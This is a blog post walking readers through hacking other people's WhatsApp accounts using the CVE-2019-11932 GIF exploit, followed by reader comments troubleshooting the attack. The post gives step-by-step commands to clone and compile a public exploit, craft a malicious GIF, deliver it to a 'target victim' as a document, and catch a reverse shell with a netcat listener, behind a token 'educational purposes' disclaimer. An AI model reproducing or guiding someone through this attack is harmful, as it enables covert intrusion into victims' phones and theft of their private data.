How to Hack Whatsapp with Whatsapp Gif Exploit
Hacking WhatsApp Account is one of the top google search terms for people. It is the most used messaging app in the world. Because of that, there has been a rise for hackers trying to hack WhatsApp in the hacking community. Few hacks work as a paid service while some are free and very few are completely skill-based. With the rise in the number of users, WhatsApp Exploits and security breaches have increased tremendously. So we decided to make a guide on hacking WhatsApp with GIF Hack.
Obviously, this post is only for educational purposes but it shows how hackers can hack WhatsApp accounts using only using a gif file. Whatsapp has since fixed this bug with the latest update but if you have not updated to the latest version then chances are you are still vulnerable to this hack and hackers could benefit from this WhatsApp Exploit.
How to hack WhatsApp with a gif file:
Step 1: Copy and clone the exploit from GitHub with the following command:
git clone https://github.com/awakened1712/CVE-2019-11932
Step 2: Change the Directory to the exploit folder with the following command:
cd CVE-2019-11932
Step 3: Compile the exploit with the following command:
gcc -o exploit egif_lib.c exploit.c
Step 4: Download any gif file from the internet. I am going to use a cat.gif since everyone loves cats.
Step 5: Run the exploit with the following command:
./exploit /root/Desktop/cat.gif
Step 6: Now the malicious gif file is ready to use. Simply send this gif file to the target WhatsApp.
You need to copy the cat.gif file and send it as a Document with WhatsApp to another WhatsApp account user.
Note: This file must not be sent directly as a Media file, otherwise WhatsApp will convert the gif file into an MP4 before sending. Thus making the exploit useless. So make sure to send it as a document instead.
Step 7: Open another terminal on Kali Linux and open netcat listner with the following command:
nc -lnvp 4444
Step 8: Once the file is sent as a document and we need to wait for the target victim to open the file and start WhatsApp Exploit:
Step 9: Once the file is opened you will get a reverse shell as shown below.
Its a regular Linux shell so you can pretty much do anything you want from the shell commands. If you want to know more about shell commands read the documentation.
That’s all folks the WhatsApp account of the target is compromised and you have a root shell and can get the full benefit of this WhatsApp exploit.
WhatsApp Vulnerability Explained:
The above vulnerability exists in WhatsApp that is available with ID CVE-2019-11932. You can find a lot of info about how exactly it works on exploitdb. This vulnerability is of the double free vulnerability type, which allows us to execute the desired command on the Android operating system, which we send by sending a gif file in WhatsApp. It causes a buffer overflow giving us a shell to run commands in. As far as I know, this vulnerability works on WhatsApp version 2.19.244 below.
You may also like
Top 10 Skills Every Hacker Must Learn
Top 10 Programming Languages for Hacking
8 Comments
sir sabkuch shi krrha hu but end mai connect nhi horha i think vo gif nhi bnn paarhi solution please
Port forward kiya…?
listening on [any] 4444 nothing showing afterwards
This exploit has been patched by whatsapp. Only works on old versions
and me not working what can i do
Hello sir sir after running gcc -o exploit egif_lib.c exploit.c, it show an error:-
exploit.c: In function ‘main’:
exploit.c:145:5: warning: implicit declaration of function ‘write’; did you mean ‘fwrite’? [-Wimplicit-function-declaration]
145 | write(fd, buffer, size);
| ^~~~~
| fwrite
exploit.c:146:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
146 | close(fd);
| ^~~~~
| pclose
Exploit has been fixed by whatsapp
Same question